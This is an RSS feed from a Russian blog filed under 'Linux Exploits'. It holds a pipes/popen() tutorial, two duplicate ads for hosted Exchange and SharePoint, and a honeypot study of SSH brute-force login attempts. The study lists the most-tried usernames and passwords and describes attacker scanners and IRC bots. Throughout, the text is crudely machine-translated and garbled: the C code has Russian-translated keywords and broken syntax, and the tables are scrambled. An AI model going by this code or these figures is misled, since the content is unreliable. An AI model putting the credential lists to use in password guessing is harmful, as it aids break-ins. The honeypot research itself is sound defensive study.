<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог &#187; Linux Експлоиты</title>
	<atom:link href="http://fvsd.ru/category/linux-eksploity/feed/" rel="self" type="application/rss+xml" />
	<link>http://fvsd.ru</link>
	<description>Описание вашего блога</description>
	<lastBuildDate>Fri, 11 Jun 2010 03:50:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Использование IPC &#8211; трубы</title>
		<link>http://fvsd.ru/2010/05/31/ispolzovanie-ipc-truby/</link>
		<comments>http://fvsd.ru/2010/05/31/ispolzovanie-ipc-truby/#comments</comments>
		<pubDate>Mon, 31 May 2010 06:31:36 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Использование]]></category>
		<category><![CDATA[трубы]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2010/05/31/ispolzovanie-ipc-truby/</guid>
		<description><![CDATA[ На днях на IRC кто-то спросил меня, как он должен идти о вызове внешней программы, отправка его ввода и получения продукции. Проблема в том, что он не контролирует внешнюю программу. Эта программа будет ожидать данных через стандартный ввод и вывод  обработки на стандартный вывод. 
 Парень, представляется довольно путать о том, как все [...]]]></description>
			<content:encoded><![CDATA[<p> На днях на IRC кто-то спросил меня, как он должен идти о вызове внешней программы, отправка его ввода и получения продукции. Проблема в том, что он не контролирует внешнюю программу. Эта программа будет ожидать данных через стандартный ввод и вывод <span id="more-1197"></span> обработки на стандартный вывод. </p>
<p> Парень, представляется довольно путать о том, как все это работает и как это сделать и поэтому я решил написать небольшой учебник о нем. </p>
<p> </p>
<div>
<p> <!--GoogleAd -->
<div align='center'> <!-- end of google ads --> </div>
<p> Первая эту проблему лучше всего осуществляются с помощью труб. Вы должны быть очень знакомы труб из пользовательской точки зрения, с момента, когда вы используете оболочку. Например:  </p>
<pre> <code> Найти /-INAME *. TXT | меньше </code> </pre>
</p></div>
<p> Вот найти выход подается по трубам к менее (1), потому что , вероятно, тысячи TXT файлов в вашей системе, и вы не хотите, чтобы результаты были потеряны в устройстве для истории. </p>
<p> При написании программы процесс очень много же. Вы можете создать труб (), вилка () и вызвать оболочка для программы, которую вы хотите писать или читать. Теперь вместо того, чтобы назвать все эти функции можно просто звонить popen (), которая делает все это для вас и возвращает указатель FILE приятный для вас использовать. </p>
<p> Вопросов, которые могут запутать новых пользователей является то, что трубы могут быть написаны только для чтения. Это не является большой проблемой, когда вы прочитали инструкцию, как вы увидите, что (из-за разветвления) на стандартный вывод ребенка такая же, со стандартным выводом из родителей. </p>
<p> Итак, вернемся к исходной задаче, я создал два примера программ, которые пытаются показать, как весь этот процесс работает. </p>
<p> Первая программа называется ребенка и после ее начала он ожидает один ввода символов с помощью стандартного ввода и эхо назад читал ввода в шестнадцатеричной системе. </p>
<p> Вторая программа, родитель, ребенок звонки через popen () и подает ее алфавита вторя вернуть то, что дочерний процесс печатает на стандартный вывод. </p>
<p> Это должно быть очень прямо вперед, но, пожалуйста, не стесняйтесь размещать какие-либо вопросы, вы можете столкнуться. </p>
<p> Ребенка: </p>
<div>
<pre> <code> <span> # включить  </span> тап_п <span> (</span> <span>) </span> <span> (</span> INT CH = <span> 0 </span>; <span> делать </span> <span> (</span> сп = деЬспаг <span> (</span> <span>) </span>; <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&amp;hash=c0f9003762"> <span> Е </span> </a> <span> (</span> <span> "Got 0x% 0,2 X <span>  п </span>" </span>, ч <span>) </span>; (# )) <span> </span>, а <span> </span> (<span> сп! = </span> 0 <span> </span>) <span>; </span> возвращение <span> </span> 0 (# ); <span>) </span> <span> </span> </code> </pre>
<p> Родитель: </p></div>
</p>
<div>
<pre> # включить <code> <span> тап_п (# ) ( </span>) <span> </span> (<span> </span> <span> FILE </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZmlsZQ==&amp;hash=fc36940cfc"> * р = <span> NULL </span>; INT CH; р = (# ) </a> popen <span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcG9wZW4=&amp;hash=00836850dd"> (<span> </span> ". / ребенок" </a>, <span> "ш" </span> <span>) </span>; <span> если </span> <span> (</span> == р <span> NULL </span> <span>) </span> <span> возвращение </span> <span> 1 </span>; <span> на </span> <span> (</span> сп = <span> '' </span>; сп &lt;<span> 'г' </span>, CH + + <span>) </span> <span> (</span> <span>, если </span> <span> (</span> сп! = fputc <span> (</span> ч, р <span>) </span> <span>) </span> перейти заблуждение, <span>) </span> сп = <span> 0 </span>; <span>, если </span> <span> (</span> сп! = fputc <span> (</span> ч, р <span>) </span> <span>) </span> перейти заблуждение, ошибаться: <span> </span> pclose <span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcGNsb3Nl&amp;hash=64e3278cda"> (<span> р </span>) </a>; <span> возвращение </span> ч; <span>) </span> <span> </span> <span> </span> Выход: </code> </pre>
</p></div>
<p> $ GCC-г-Wall-о child.c ребенок $ GCC-г-Wall-о parent.c родителей $. / parentGot 0&#215;61Got 0&#215;62Got 0&#215;63Got 0&#215;64Got 0&#215;65Got 0&#215;66Got 0&#215;67Got 0&#215;68Got 0&#215;69Got 0&#215;6AGot 0&#215;6BGot 0&#215;6CGot 0&#215;6DGot 0&#215;6EGot 0&#215;6FGot 0&#215;70Got 0&#215;71Got 0&#215;72Got 0&#215;73Got 0&#215;74Got 0&#215;75Got 0&#215;76Got 0&#215;77Got 0&#215;00 0&#215;78Got 0&#215;79Got </p>
<div>
<pre> <code></p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2010/05/31/ispolzovanie-ipc-truby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hosted Exchange и Sharepoint Хостинг</title>
		<link>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting-2/</link>
		<comments>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting-2/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 16:34:13 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Exchange]]></category>
		<category><![CDATA[Hosted]]></category>
		<category><![CDATA[Sharepoint]]></category>
		<category><![CDATA[Хостинг]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting-2/</guid>
		<description><![CDATA[ Теперь в продаже! Secure  Hosted Exchange  и  Размещаемых Sharepoint  решений от нашего партнера ConsultPlanet. 
 ConsultPlanet является NR 1 управляемых услуг, которая обеспечивает безопасный хостинг решения: 
 (# ) Размещаемых Sharepoint &#8211; http://www.consultplanet.nl/producten/hosted_sharepoint/
  Hosted Exchange &#8211; http://www.consultplanet.nl/producten/email_services/managed_hosted_exchange.php  
 ( #)
linuxexposed.com
]]></description>
			<content:encoded><![CDATA[<p> Теперь в продаже! Secure <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5jb25zdWx0cGxhbmV0Lm5sJTJGcHJvZHVjdGVuJTJGZW1haWxfc2VydmljZXMlMkZtYW5hZ2VkX2hvc3RlZF9leGNoYW5nZS5waHA=&amp;hash=738162edc3"> Hosted Exchange </a> и <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5jb25zdWx0cGxhbmV0Lm5sJTJGcHJvZHVjdGVuJTJGaG9zdGVkX3NoYXJlcG9pbnQ=&amp;hash=8d6a6d9202"> Размещаемых Sharepoint </a> решений от нашего партнера ConsultPlanet. </p>
<p> ConsultPlanet является NR 1 управляемых услуг, которая обеспечивает безопасный хостинг решения: </p>
<p> (# ) Размещаемых <a href="http://fvsd.ru/tag/sharepoint/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Sharepoint">Sharepoint</a> &#8211; <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://www.consultplanet.nl/producten/hosted_sharepoint/
<p> <span id="more-113"></span> <a href="http://fvsd.ru/tag/hosted/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Hosted">Hosted</a> <a href="http://fvsd.ru/tag/exchange/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Exchange">Exchange</a> &#8211; <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://www.consultplanet.nl/producten/email_services/managed_hosted_exchange.php  </p>
<p> ( #)
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hosted Exchange и Sharepoint Хостинг</title>
		<link>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting/</link>
		<comments>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 21:26:34 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Exchange]]></category>
		<category><![CDATA[Hosted]]></category>
		<category><![CDATA[Sharepoint]]></category>
		<category><![CDATA[Хостинг]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting/</guid>
		<description><![CDATA[ Теперь в продаже! Secure  Hosted Exchange  и  Размещаемых Sharepoint  решений от нашего партнера ConsultPlanet. 
 ConsultPlanet является NR 1 управляемых услуг, которая обеспечивает безопасный хостинг решения: 
 (# ) Размещаемых Sharepoint &#8211; http://www.consultplanet.nl/producten/hosted_sharepoint/
  Hosted Exchange &#8211; http://www.consultplanet.nl/producten/email_services/managed_hosted_exchange.php 
 ( #) 
 
linuxexposed.com
]]></description>
			<content:encoded><![CDATA[<p> Теперь в продаже! Secure <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5jb25zdWx0cGxhbmV0Lm5sJTJGcHJvZHVjdGVuJTJGZW1haWxfc2VydmljZXMlMkZtYW5hZ2VkX2hvc3RlZF9leGNoYW5nZS5waHA=&amp;hash=738162edc3"> Hosted Exchange </a> и <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5jb25zdWx0cGxhbmV0Lm5sJTJGcHJvZHVjdGVuJTJGaG9zdGVkX3NoYXJlcG9pbnQ=&amp;hash=8d6a6d9202"> Размещаемых Sharepoint </a> решений от нашего партнера ConsultPlanet. </p>
<p> ConsultPlanet является NR 1 управляемых услуг, которая обеспечивает безопасный хостинг решения: </p>
<p> (# ) Размещаемых <a href="http://fvsd.ru/tag/sharepoint/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Sharepoint">Sharepoint</a> &#8211; <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://www.consultplanet.nl/producten/hosted_sharepoint/
<p> <span id="more-112"></span> <a href="http://fvsd.ru/tag/hosted/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Hosted">Hosted</a> <a href="http://fvsd.ru/tag/exchange/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Exchange">Exchange</a> &#8211; <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://www.consultplanet.nl/producten/email_services/managed_hosted_exchange.php </p>
<p> ( #) </p>
<p> </p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/21/hosted-exchange-i-sharepoint-xosting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Анализ вредоносных SSH Логин Попытки</title>
		<link>http://fvsd.ru/2009/06/20/analiz-vredonosnyx-ssh-login-popytki/</link>
		<comments>http://fvsd.ru/2009/06/20/analiz-vredonosnyx-ssh-login-popytki/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 12:20:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Анализ]]></category>
		<category><![CDATA[вредоносных]]></category>
		<category><![CDATA[Логин]]></category>
		<category><![CDATA[Попытки]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/analiz-vredonosnyx-ssh-login-popytki/</guid>
		<description><![CDATA[  Злонамеренные SSH попытки входа были появляться в некоторых администраторов журналы в течение нескольких лет. Эта статья вновь использование honeypots анализ вредоносного SSH попытки войти и посмотреть, что можно узнать об этой деятельности. В статье  Затем даются рекомендации о том, как обеспечить свою систему от таких нападений.     
 
 [...]]]></description>
			<content:encoded><![CDATA[<p> <span> Злонамеренные SSH попытки входа были появляться в некоторых администраторов журналы в течение нескольких лет. Эта статья вновь использование honeypots анализ вредоносного SSH попытки войти и посмотреть, что можно узнать об этой деятельности. В статье <span id="more-12"></span> Затем даются рекомендации о том, как обеспечить свою систему от таких нападений. </span> <span> <br /> </span> </p>
<p> <!--GoogleAd -->
<div> <!-- end of google ads --> </div>
<p> Использование honeypots для научных исследований <span> В <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5uei1ob25leW5ldC5vcmc=&#038;hash=8f1a5a37f1"> Новая Зеландия Honeynet альянс </a> представляет собой научно-исследовательскую организацию и член Совета <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnByb2plY3QuaG9uZXluZXQub3Jn&#038;hash=4b4031957e"> Honeynet альянс </a>, предназначенного для повышения безопасности компьютерных систем и сетей на изучении поведения, Тактика и инструменты черной шляпе хакеров с помощью honeypot технологии. Honeypots являются компьютерными системами, стоимость которых находится в их открытость для нападения, и компромисс, что позволяет исследователю проанализировать вредоносный деятельности в системе.
<p> Мы создали такую систему в Университете Виктории в Веллингтоне расследовать деятельность вредоносных что происходит в сети университетов в Новой Зеландии. Эта система была высокой взаимодействия honeypot, что злоумышленник может взаимодействовать как с любой другой системой в сети. Что касается нападающего, то, не должно быть никаких заметных различий между honeypot и других компьютерных систем. Однако, это тщательное наблюдение через Honeynet Альянс-Роо honeywall, что захватывает всего сетевого трафика, и вытекающие из honeypot. Кроме того, системные события, записанные на honeypot себя через свои объекты лесозаготовок. </p>
<p> В honeypot побежали сервер стандартной конфигурации <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5mZWRvcmEucmVkaGF0LmNvbQ==&#038;hash=c2c30014bf"> RedHat 9 </a> с Secure Shell (SSH) сервера, на котором были доступны общественности через Интернет. SSH это программа, которая позволяет пользователю войти в другой компьютер по сети через зашифрованный канал. После того, как мы столкнулись вредоносные SSH попытки входа в предыдущих установок, мы настроили наш honeypot чтобы обеспечить дополнительный сбор данных. Мы пропатчен на SSH сервер записать пароль, а также имя учетной записи, которая была использована в попытке входа. В honeypot был доставлен в сети 11 июля 2006 года и принятых в автономном режиме на 1 августа 2006 года, после 22 полных дней. В honeypot напали несколько раз в течение этого периода, при попытках войти на SSH. Мы более внимательно взглянуть на данные, для определения тактики нападавших и вынести рекомендации по повышению безопасности вокруг SSH. </p>
<p> В дополнительной конфигурации из honeypot, которая действовала с 28 июня по 4 июля, мы <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5ob25leW5ldC5vcmclMkZ0b29scyUyRnNlYmVr&#038;hash=af0a78eae5"> добавил Sebek модуль </a>, что записи ключевых удар нападающего после того, как система была скомпрометирована. Мы настроены несколько учетных записей пользователей с широко используемых паролей. Через несколько дней, злоумышленник успешно скомпрометированы системы. Анализ этого нападения и последующего нападения, представленные в данном документе и предоставить нам дополнительную понять, каким образом опасный SSH логин попытки использовать для компромисса систем. </p>
<h2> Анализ SSH Логин Попытки </h2>
<p> В данном разделе анализируются данные захватили наш honeypot с 11 июля по 1 августа. Этот анализ основан исключительно на данных, системных журналов в honeypot, в частности, &#8220;сообщений&#8221; журнала. В &#8216;Сообщения&#8217; журнал фиксирует аутентификации запросов к серверу SSH. Она фиксирует дату, время, IP-адрес, с которого вход попытку возникла в результате запроса (провал или успех), имя учетной записи и пароля, используемых для аутентификации запроса. Два &#8216;Сообщения&#8217; образец журнала записи приводятся ниже.
<div>
<pre> Июля <span> 13 </span> <span> 09 </span>: <span> 37 </span>: <span> 59 </span> Баста sshd <span> [</span> <span> 22308 </span> <span>] </span>: PW-ПОПЫТКА: Фриц июль <span> 13 </span> <span> 09 </span>: <span> 37 </span>: <span> 59 </span> Баста sshd ( #) [<span> </span> 22308 <span> </span>] <span>: Ошибка пароля </span> на <span> корень из </span> 10,0 <span> </span> .160 <span> </span> .14 <span> порт </span> 39529 <span> ssh2 июля </span> 13 <span> </span> 09 <span>: </span> 38 <span>: </span> 02 <span> Баста sshd </span> [<span> </span> 22310 <span> </span>] <span>: Незаконное fatacunike пользователя с </span> 10,0 <span> </span> .160 <span> </span> .14 <span> июля </span> 13 <span> </span> 09 <span>: </span> 38 <span>: </span> 02 <span> Баста sshd </span> [<span> </span> 22310 <span> </span>] <span> : PW-ПОПЫТКА: fatacunike июля </span> 13 <span> </span> 09 <span>: </span> 38 <span>: </span> 02 <span> Баста sshd </span> [<span> </span> 22310 <span> </span>] <span>: Ошибка пароля </span> на <span> незаконных пользователей fatacunike с </span> 10,0 <span> </span> .160 <span> </span> .14 <span> порт (# ) 40444 </span> ssh2 <span> </span> </pre>
<p> Во-первых, мы проанализировали логины, которые были использованы на попытки входа. За образец периода насчитывалось 2741 уникальных учетных записей, начиная от обычных имен, систему учетных записей, и общий счет на короткий алфавитном строк захвачен системой логгер. Из них 15 учетных записей, используемых наиболее часто приводятся в таблице 1. Эта таблица показывает, что приходится, как правило, существуют в системе (корень, MySQL), счетов, которые могут существовать в системе (гостевые, испытания), а также общих имен (Пол). Потом На рисунке 1 показано распределение действительных и недействительных учетных записей, которые были использованы. </p></div>
<p> Неудивительно, что недействительный счет имен используются далеко превосходят действительных имен учетных записей. Однако мы отмечаем, что 96.30% всех по умолчанию учетной записи имен, которые существуют на honeypot, использовались во время нападения. </p>
</p>
<div align="left">
<table border="1" bordercolor="black" cellpadding="5" cellspacing="0">
<tbody>
<tr> Имя учетной записи
<td> <strong> </strong> </td>
<p> Количество попыток входа
<td> <strong> </strong> (# ) </td>
<p> корень </tr>
<tr> 1049
<td> </td>
<td> </td>
<p> Admin </tr>
<tr> 97
<td> </td>
<td> </td>
<p> Тест </tr>
<p> (# ) 87<br />
<tr>
<td> </td>
<td> Гость </td>
</tr>
<p> 40<br />
<tr>
<td> </td>
<td> MySQL </td>
</tr>
<p> 31<br />
<tr>
<td> (# ) </td>
<p> Инфо
<td> </td>
<p> 30 </tr>
<tr>
<td> </td>
<p> Oracle
<td> </td>
<p> 27 </tr>
<tr>
<td> </td>
<p> Postgres
<td> (# ) 27 </td>
</tr>
<tr>
<td> тестирование </td>
<td> 27 </td>
</tr>
<tr>
<td> для веб-мастеров </td>
<td> 27 </td>
</tr>
<p> (# )<br />
<tr> Пауль
<td> </td>
<p> 25
<td> </td>
</tr>
<tr> интернет
<td> </td>
<p> 24
<td> </td>
</tr>
<tr> пользователь
<td> (# ) 23 </td>
<td> </td>
</tr>
<p> тестер<br />
<tr>
<td> 22 </td>
<td> </td>
</tr>
<p> PGSQL<br />
<tr>
<td> 21 </td>
<td> (# ) </td>
</tr>
<tr>
<td> Таблица 1. Топ 15 учетных записей между 2741 попыток. </td>
<td> </td>
</tr>
</tbody>
</table>
<p> <small> Рисунок 1. Номер счета именами, как существующих, так и недействительными. <strong> </strong> </small> </div>
<p> Далее, мы смотрели на паролей, используемых в попытках входа. Нападавшие пытались целый ряд паролей, причем большинство из учетных записей. В общей сложности в ходе нашего анализа, они попытались получить доступ к различным счетам 2741 и 3649 используются разные пароли. Не все пароли были использованы все счета. Пароли варьировались от учетной имена учетных записей с числом последовательностей, числовых последовательностей и клавиатуры последовательностей (например, &#8216;QWERTY&#8217;). Были еще несколько сложных паролей, используемых при, казалось бы, случайные буквы и числа последовательностей или замена паролей (например, r00t или C @ T @ Lin).
<div align="left">
<p><img src="http://fvsd.ru/wp-content/uploads/2009/06/analiz-vredonosnih-ssh-login-popitki-1.jpg" alt="Анализ вредоносных SSH Логин Попытки" title="Анализ вредоносных SSH Логин Попытки" /></p>
<p> Таблица 2 показывает 15 пароли, используемые в злоумышленных попыток входа. <br /> <small> <strong> </strong> </small> </div>
<p> Пароль </p>
</p>
<div align="left"> Количество попыток входа<br />
<table border="1" bordercolor="black" cellpadding="5" cellspacing="0">
<tbody>
<tr>
<td> <strong> 123456 </strong> </td>
<p> 331
<td> <strong> </strong> </td>
<p> Пароль </tr>
<tr> 106
<td> </td>
<td> </td>
<p> Admin </tr>
<tr> 47
<td> </td>
<td> </td>
<p> Тест </tr>
<tr> 46
<td> </td>
<td> </td>
<p> 111111 </tr>
<tr> 36
<td> </td>
<td> </td>
<p> 12345 </tr>
<tr> 34
<td> </td>
<td> </td>
<p> администратор </tr>
<tr> 28
<td> </td>
<td> </td>
<p> Linux </tr>
<tr> 23
<td> </td>
<td> </td>
<p> Корень </tr>
<tr> 22
<td> </td>
<td> </td>
<p> test123 </tr>
<tr> 22
<td> </td>
<td> </td>
<p> 1234 </tr>
<tr> 21
<td> </td>
<td> </td>
<p> 123 </tr>
<tr> 20
<td> </td>
<td> </td>
<p> MySQL </tr>
<tr> 19
<td> </td>
<td> </td>
<p> Apache </tr>
<tr> 18
<td> </td>
<td> </td>
<p> Master </tr>
<tr> 18
<td> </td>
<td> </td>
</tr>
<tr>
<td> Таблица 2. Топ 15 паролей покушение. </td>
<td> </td>
</tr>
<p> Тогда мы проверили, кто атаковал honeypot и какую стратегию эти нападавшие использовали. Были 23 уникальных IP-адресов, участвующих в попытках входа. Нападавшие были более или менее стойкими в своих попытках получить доступ к системе, как показано в таблице 3. Десять из источников попытался менее 50 комбинаций, а затем сдался. Пять пытались труднее около 170 попыток входа, и восемь старались даже труднее до 1450 попыток входа. Рисунок 2 показывает разбивка попытки входа на исходный адрес. </tbody>
</table>
<p> <small> <strong> </strong> </small> Количество Логин Попытки </div>
</p>
<div align="left"> уникальных IP-адресов<br />
<table border="1" bordercolor="black" cellpadding="5" cellspacing="0">
<tbody>
<tr> ( #)
<td> <50 <strong> </strong> 10 </td>
<td> <strong> </strong> 50 <= X <= 200 </td>
</tr>
<p> 5<br />
<tr>
<td> </td>
<p> ( #)> 200
<td> </td>
<p> 8 </tr>
<tr>
<td> </td>
<td> </td>
</tr>
<p> Таблица 3. Частотный диапазон от попыток входа.<br />
<tr>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
<p> Рисунок 2. Ошибка входа попытки источника ИС. <br /> <small> <strong> </strong> Более пристальный взгляд на нападающих показывает более подробную информацию о том, как перерыв в попытки имели место. Нападавшие пытались одно имя учетной записи на попытки войти с паролем, в основном соответствует имени учетной записи (например, контрольно-испытательных) и перешла к следующему имя учетной записи. Другие нападающие отличаются в своей стратегии. В среднем, злоумышленник попытался 10.0.179.148 пять пароли, прежде чем в другой аккаунт. Пароли, используемые в этом нападении схема состоит из числовых последовательностей или имя учетной записи с сочетанием различных числовых последовательностей (например, Admin / Admin, admin/admin1, admin/admin123, admin/111111). Злоумышленник на 10.0.105.52 сосредоточено на коренных счету, все попытки, но одна из его попыток входа (гость) в том, что имя учетной записи. Пароли варьировались от общего пароля для случайных чисел и последовательностей символов (например, корень /!@#, root/123abc, корень / по умолчанию). </small> </div>
<p> Несколько нападавших выставлены поведением, которое может обойти вниманием один IDS, ограничивая их атаки лишь несколько попыток. Атаки стали более серьезными различных степеней. Во-первых, количество попыток входа увеличилась, во-вторых, попытки войти в аккаунт увеличилось, и, наконец, мы увидели концентрации попытки входа на особое внимание, как и корень. Как и попытки стали более серьезными, обнаружения злоумышленника станет более вероятным, если система обнаружения были развернуты. Можно было бы думать, что злоумышленник успех ставка увеличится с более попыток и последующего увеличения опасности обнаружения, но мы не можем подтвердить это, как наши данные не включают обследование имя / пароль комбинаций существующих систем.
<div align="left">
<p><img src="http://fvsd.ru/wp-content/uploads/2009/06/analiz-vredonosnih-ssh-login-popitki-2.jpg" alt="Анализ вредоносных SSH Логин Попытки" title="Анализ вредоносных SSH Логин Попытки" /></p>
<p> В попытке получил дополнительную информацию о методологии и инструменты нападавшие использовали, мы рассмотрели отклонение и средний период времени между каждой попытке входа на исходный IP. Мы предположили, что если инструмент был использован в ходе этого нападения, мы можем легко определить ее использования, изучив эти ценности. Небольшой разрыв между попытками логина и низкая разница будет означать использование инструмента, а больше нелегальных пробелов бы указать злоумышленник был фактически совершают попытки входа в лицо. Рисунке 3 приведены эти данные. <br /> <small> <strong> </strong> </small> </div>
<p> Диаграмма 3. Средний период между попытками входа (секунд ).
</p>
<p> в пятерку преступников, которые могут использовать средства в своих нападений, из-за огромного числа попыток, показывают в среднем период между попытками от 2 до 4 секунд с помощью стандартного отклонения, что составляет от 0,45 до 1,39 секунд. С другой стороны, мы видим, что злоумышленник на 10.0.192.15 в среднем период между попытками примерно 7 секунд, а стандартное отклонение 2.36 секунд &#8211; с указанием лица, возможно, совершили попытки входа. Тем не менее, эти данные не поддерживает четкое указание инструмент использования как многие нападения последовательности относятся к средним или даже ниже значений начала нападения преступник последовательностей. Одним из возможных объяснений может быть то, что нападения были инструменты, используемые в большинстве нападения последовательности, и мы только латентность сети наблюдений.
</p>
<p> По сравнению с выше попытки, сильный показатель использования инструмента выявляется экспертизой по счету имена и пароли, используемые в нападениях из 10.0.255.81 и 10.0.242.26. Несмотря на то, что IP-адреса проживали в различных физических сетях и нападения произошли 4 дня друг от друга, имя учетной записи и пароля комбинации был идентичным.
<div align="left">
<p><img src="http://fvsd.ru/wp-content/uploads/2009/06/analiz-vredonosnih-ssh-login-popitki-3.jpg" alt="Анализ вредоносных SSH Логин Попытки" title="Анализ вредоносных SSH Логин Попытки" /></p>
<p> &#8220;Успешные&#8221; вредоносные попытки входа SSH <br /> в предыдущем разделе, мы проанализировали данные захватили неудачного вредоносные попытки входа SSH. Эти данные дают нам некоторое представление о том, как действовать нападавших, но оставляет нерешенными многие вопросы. Одним из таких вопросов является ли или нет инструментов, используемых в этих нападениях. <small> 2 июля злоумышленнику успешно подрывает honeypot путем угадывания действительное имя пользователя и пароль по SSH. Данные, захваченные в ходе этого инцидента показало, ответы на эти вопросы открытыми. <strong> </strong> Прежде всего, мы рассмотрели действия злоумышленника после успешного компромисса в honeypot. После того, как действительное имя / пароль был определен, злоумышленник вход в honeypot через SSH и приступил к скачать SSH сканер инструмент. Этот инструмент более подробно описаны в следующем разделе, но теперь он будет кратко в качестве инструмента, который позволяет его пользователям определить и другие компромиссные SSH серверы через попытки угадать пароль. Установленная инструмент сразу же был использован для сканирования сети класса B с нашей honeypot. Из-за ограничений на исходящие сетевые подключения обеспечивается в Роо honeywall года SSH сканера не было выявлено каких-либо SSH серверы. </small> </div>
<p> После начального сканирования, злоумышленник провел скачать и установить IRC Bot. Боты IRC являются теми инструментами, которые могут контролировать скомпрометированы системы удаленно через IRC чат-каналов, что скомпрометировано система установлена для прослушивания. Использование IRC контроль скомпрометирована система является гораздо более скрытое, чем непосредственно с помощью SSH, так как злоумышленник не имеет прямого входа в систему больше. Кроме того, она позволяет злоумышленнику контролировать несколько таких систем, также известные как зомби, в то же время.
</p>
<p> Разговоры в IRC канала показали, что Зомби были использованы для проверки сети класса B с SSH сканера так же, как тот, который был загружен на нашем honeypot. В течение пары часов, четыре класса B сети были отсканированы с SSH сканером из различных IRC Боты, выявляя тысячи SSH серверы. А сканирование занимает примерно 700 секунд. Кроме того, мы стали свидетелями обмена счет имя / пароль в списке 160324 уникальные имя пользователя и пароль комбинаций. Структура этих учетных записей и паролей были очень похожи на те, возникающие во время нападения на наши honeypot системы, но более обширна.
</p>
<p> Анализ резюме<br />
<h2> Что мы можем сделать из этих данных, захваченные нашей honeypot? SSH является способом получить доступ к компьютеру по сети в защищенном, зашифрованном виде, и получила широкое признание. Однако, несмотря на его хорошую репутацию в том, что касается безопасности, Есть еще угрозы, связанные с операционной SSH на машине. Пароль угадать явно одна из таких угроз, как мы показали в этом документе. Тот факт, что SSH сервер и доступных из Интернета привлек 23 последовательностей нападения уникальные IP-адреса источника, с 6899 логин попытки нашей honeypot всего 22 дней. Это составляет примерно одну атаку, и около 300 попыток входа в день в среднем. Некоторые нападавшие очень серьезно относимся к исполняющей нападения, исполнителей сотни попыток входа в сессию. </h2>
